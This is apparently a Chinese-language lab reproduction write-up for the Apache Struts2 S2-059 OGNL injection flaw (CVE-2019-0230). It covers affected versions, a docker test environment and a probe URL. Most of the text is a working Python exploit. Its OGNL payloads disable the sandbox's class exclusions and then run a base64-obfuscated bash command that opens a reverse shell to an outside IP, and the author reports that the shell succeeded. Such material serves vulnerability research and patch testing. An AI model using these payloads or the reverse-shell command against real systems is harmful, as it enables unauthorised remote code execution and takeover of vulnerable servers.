Struts2 S2-059 遠端程式碼執行漏洞(CVE-2019-0230)
阿新 • • 發佈:2022-05-18
Apache Struts框架, 會對某些特定的標籤的屬性值,比如id屬性進行二次解析,所以攻擊者可以傳遞將在呈現標籤屬性時再次解析的OGNL表示式,造成OGNL表示式注入。從而可能造成遠端執行程式碼。
影響版本: Struts 2.0.0 - Struts 2.5.20
參考連結:
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
漏洞環境
啟動 Struts 2.5.16環境:
docker-compose up -d
啟動環境之後訪問http://your-ip:8080/?id=1
就可以看到測試介面
漏洞復現
訪問 http://your-ip:8080/?id=%25%7B233*233%7D
,可以發現233*233的結果被解析到了id屬性中:
《OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》給出了繞過struts2.5.16版本的沙盒的poc,利用這個poc可以達到執行系統命令。
通過如下Python指令碼復現漏洞:
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text)
反彈Shell成功